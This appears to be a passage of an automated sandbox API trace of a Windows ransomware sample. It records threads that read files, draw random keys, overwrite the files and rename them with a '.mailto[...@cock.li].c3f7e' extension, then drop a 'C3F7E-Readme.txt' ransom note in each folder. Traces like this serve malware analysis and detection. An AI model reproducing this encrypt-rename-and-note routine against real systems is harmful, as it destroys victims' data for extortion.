	[0075.233] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0x75a1073c
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0x6094b272
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xe2575526
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0x6313d9ec
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xf59c87b1
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xab40b320
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xba445c6f
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xa68d9130
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xc7e49f9e
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0x8147359
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xc99309f0
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xb802bd1a
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0x2ae3d81b
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0x2af16897
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xc70e73ba
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xd4d5fc02
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0x98ed3e88
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xe4f231ad
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xf319d930
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0x21b305d5
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xc68215b0
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xf3e61682
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0x32411738
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0x32ba6fc6
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xf2a0161
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0x75ca786
	[0075.234] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xbe247137
	[0075.244] ReadFile (in: hFile=0x970, lpBuffer=0x47e87e8, nNumberOfBytesToRead=0x28, lpNumberOfBytesRead=0x928faac, lpOverlapped=0x0 | out: lpBuffer=0x47e87e8*, lpNumberOfBytesRead=0x928faac*=0x28, lpOverlapped=0x0) returned 1
	[0075.245] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.246] WriteFile (in: hFile=0x970, lpBuffer=0x47f4ff0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x928faa8, lpOverlapped=0x0 | out: lpBuffer=0x47f4ff0*, lpNumberOfBytesWritten=0x928faa8*=0x28, lpOverlapped=0x0) returned 1
	[0075.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0075.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0075.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0075.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47f4ff0) returned 1
	[0075.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e87e8) returned 1
	[0075.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0075.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738a0) returned 1
	[0075.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x49) returned 0x2d858c0
	[0075.247] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.247] WriteFile (in: hFile=0x970, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x12d, lpNumberOfBytesWritten=0x928fb10, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x928fb10*=0x12d, lpOverlapped=0x0) returned 1
	[0075.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85970) returned 1
	[0075.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47998) returned 1
	[0075.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d858c0) returned 1
	[0075.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c18) returned 1
	[0075.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c90) returned 1
	[0075.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47cb8) returned 1
	[0075.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478f8) returned 1
	[0075.249] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2d7d060
	[0075.249] wcscpy (in: _Dest=0x2d7d060, _Source="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" | out: _Dest="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log"
	[0075.249] wcscat (in: _Dest=0x2d7d060, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.249] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x928fac8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.249] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x2d7ebc8
	[0075.250] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ebc8) returned 1
	[0075.250] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.250] NtQueryInformationFile (in: FileHandle=0x970, IoStatusBlock=0x928fad4, FileInformation=0x928faac, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x928fad4, FileInformation=0x928faac) returned 0x0
	[0075.250] NtSetInformationFile (FileHandle=0x970, IoStatusBlock=0x928fad4, FileInformation=0x928faac, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d060) returned 1
	[0075.251] FlushFileBuffers (hFile=0x970) returned 1
	[0075.253] CloseHandle (hObject=0x970) returned 1
	[0075.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d85970
	[0075.254] wcscpy (in: _Dest=0x2d85970, _Source="C:\\$GetCurrent\\Logs\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\"
	[0075.254] wcscat (in: _Dest=0x2d85970, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\$GetCurrent\\Logs\\C3F7E-Readme.txt") returned="C:\\$GetCurrent\\Logs\\C3F7E-Readme.txt"
	[0075.254] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\$getcurrent\\logs\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.254] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\$getcurrent\\logs\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x970
	[0075.254] WriteFile (in: hFile=0x970, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x928fad0, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x928fad0*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.255] CloseHandle (hObject=0x970) returned 1
	[0075.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85970) returned 1
	[0075.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d54790) returned 1

Thread:
	id = 169
	os_tid = 0x13a8

	[0075.248] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20
	[0075.258] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini", dwFileAttributes=0x20) returned 1
	[0075.258] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x970
	[0075.258] GetFileSizeEx (in: hFile=0x970, lpFileSize=0x930f7b8 | out: lpFileSize=0x930f7b8*=156) returned 1
	[0075.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0075.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c90
	[0075.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.258] NtQuerySystemTime (in: CurrentTime=0x930f718 | out: CurrentTime=0x930f718*=132251868019971342) returned 0x0
	[0075.258] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0xb5c0052a
	[0075.258] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x86169ab4
	[0075.258] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x616efa23
	[0075.258] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0xa1f4ab00
	[0075.258] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0xc298299f
	[0075.258] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x7d81c2ae
	[0075.258] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x15f7b0ac
	[0075.258] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x60f2332
	[0075.258] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x22afc698
	[0075.258] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x530c726b
	[0075.258] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x9c91d152
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x5a461537
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x272d96bc
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x6dfee648
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0xe0562e5a
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0xf4e74017
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0xaa5795b1
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x38954983
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0xf391d097
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x72324c5f
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0xae8f5793
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0xe4247513
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0xc786b96c
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0xb6b668f6
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x4146e45c
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x254570d0
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x708a8432
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x66a363e0
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0x67dfdbc8
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0xef44cbc2
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0xf6f10c48
	[0075.259] RtlRandom (in: Seed=0x930f724 | out: Seed=0x930f724) returned 0xd8fc5751
	[0075.267] ReadFile (in: hFile=0x970, lpBuffer=0x47e87e8, nNumberOfBytesToRead=0x9c, lpNumberOfBytesRead=0x930f714, lpOverlapped=0x0 | out: lpBuffer=0x47e87e8*, lpNumberOfBytesRead=0x930f714*=0x9c, lpOverlapped=0x0) returned 1
	[0075.268] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.268] WriteFile (in: hFile=0x970, lpBuffer=0x47f4ff0*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x930f710, lpOverlapped=0x0 | out: lpBuffer=0x47f4ff0*, lpNumberOfBytesWritten=0x930f710*=0x9c, lpOverlapped=0x0) returned 1
	[0075.270] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0075.270] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0075.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0075.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47f4ff0) returned 1
	[0075.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e87e8) returned 1
	[0075.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0075.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738a0) returned 1
	[0075.270] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2d738a0
	[0075.270] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.271] WriteFile (in: hFile=0x970, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x930f778, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x930f778*=0x11d, lpOverlapped=0x0) returned 1
	[0075.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73c90) returned 1
	[0075.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47998) returned 1
	[0075.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738a0) returned 1
	[0075.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c18) returned 1
	[0075.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c90) returned 1
	[0075.273] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47cb8) returned 1
	[0075.273] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478f8) returned 1
	[0075.273] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f268
	[0075.273] wcscpy (in: _Dest=0x2d7f268, _Source="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" | out: _Dest="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini"
	[0075.273] wcscat (in: _Dest=0x2d7f268, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.273] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x930f730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.273] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x2d89460
	[0075.273] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.273] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61dc0) returned 1
	[0075.274] NtQueryInformationFile (in: FileHandle=0x970, IoStatusBlock=0x930f73c, FileInformation=0x930f714, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x930f73c, FileInformation=0x930f714) returned 0x0
	[0075.274] NtSetInformationFile (FileHandle=0x970, IoStatusBlock=0x930f73c, FileInformation=0x930f714, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f268) returned 1
	[0075.274] FlushFileBuffers (hFile=0x970) returned 1
	[0075.277] CloseHandle (hObject=0x970) returned 1
	[0075.277] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d85970
	[0075.277] wcscpy (in: _Dest=0x2d85970, _Source="C:\\$GetCurrent\\SafeOS\\" | out: _Dest="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\"
	[0075.277] wcscat (in: _Dest=0x2d85970, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\$GetCurrent\\SafeOS\\C3F7E-Readme.txt") returned="C:\\$GetCurrent\\SafeOS\\C3F7E-Readme.txt"
	[0075.277] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\C3F7E-Readme.txt" (normalized: "c:\\$getcurrent\\safeos\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.277] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\C3F7E-Readme.txt" (normalized: "c:\\$getcurrent\\safeos\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x970
	[0075.278] WriteFile (in: hFile=0x970, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x930f738, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x930f738*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.279] CloseHandle (hObject=0x970) returned 1
	[0075.279] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85970) returned 1
	[0075.279] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79fd0) returned 1

Thread:
	id = 170
	os_tid = 0x13b8

	[0075.270] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80
	[0075.272] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.280] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x974
	[0075.280] GetFileSizeEx (in: hFile=0x974, lpFileSize=0x938f758 | out: lpFileSize=0x938f758*=7567) returned 1
	[0075.280] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x1d8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.280] ReadFile (in: hFile=0x974, lpBuffer=0x938f6dc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x938f6d8, lpOverlapped=0x0 | out: lpBuffer=0x938f6dc*, lpNumberOfBytesRead=0x938f6d8*=0x4, lpOverlapped=0x0) returned 1
	[0075.281] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.282] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0075.282] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c90
	[0075.282] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.282] NtQuerySystemTime (in: CurrentTime=0x938f6b8 | out: CurrentTime=0x938f6b8*=132251868020128310) returned 0x0
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x55a9c03f
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x8eeefdb6
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0xa82558c5
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0xa623d413
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0xf6ff4688
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x99604cef
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x147d2810
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x49b1aa67
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x60b03378
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x6cf0286d
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x620bb9c9
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x7c697a9d
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0xca5420
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x607cd10d
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x252c11fd
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0xcfd5ac96
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0xd90d6d64
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x54a4a3f8
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x612ab620
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x7234cade
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0xe9c6a6fb
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x7458c996
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0xb88a9984
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x32d08396
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0xad4f6c84
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0xb432e08
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0xcc277392
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x968dacd5
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0xafa3443f
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0xdf33b9c3
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x9a8a531c
	[0075.282] RtlRandom (in: Seed=0x938f6c4 | out: Seed=0x938f6c4) returned 0x980cd1a7
	[0075.290] ReadFile (in: hFile=0x974, lpBuffer=0x47e87e8, nNumberOfBytesToRead=0x1d8f, lpNumberOfBytesRead=0x938f6b4, lpOverlapped=0x0 | out: lpBuffer=0x47e87e8*, lpNumberOfBytesRead=0x938f6b4*=0x1d8f, lpOverlapped=0x0) returned 1
	[0075.291] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.291] WriteFile (in: hFile=0x974, lpBuffer=0x47f4ff0*, nNumberOfBytesToWrite=0x1d8f, lpNumberOfBytesWritten=0x938f6b0, lpOverlapped=0x0 | out: lpBuffer=0x47f4ff0*, lpNumberOfBytesWritten=0x938f6b0*=0x1d8f, lpOverlapped=0x0) returned 1
	[0075.294] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0075.294] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0075.294] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0075.294] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47f4ff0) returned 1
	[0075.294] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e87e8) returned 1
	[0075.294] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0075.294] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738a0) returned 1
	[0075.294] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e477e0
	[0075.294] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.294] WriteFile (in: hFile=0x974, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x938f718, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x938f718*=0x101, lpOverlapped=0x0) returned 1
	[0075.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a38) returned 1
	[0075.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47998) returned 1
	[0075.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0075.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c18) returned 1
	[0075.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c90) returned 1
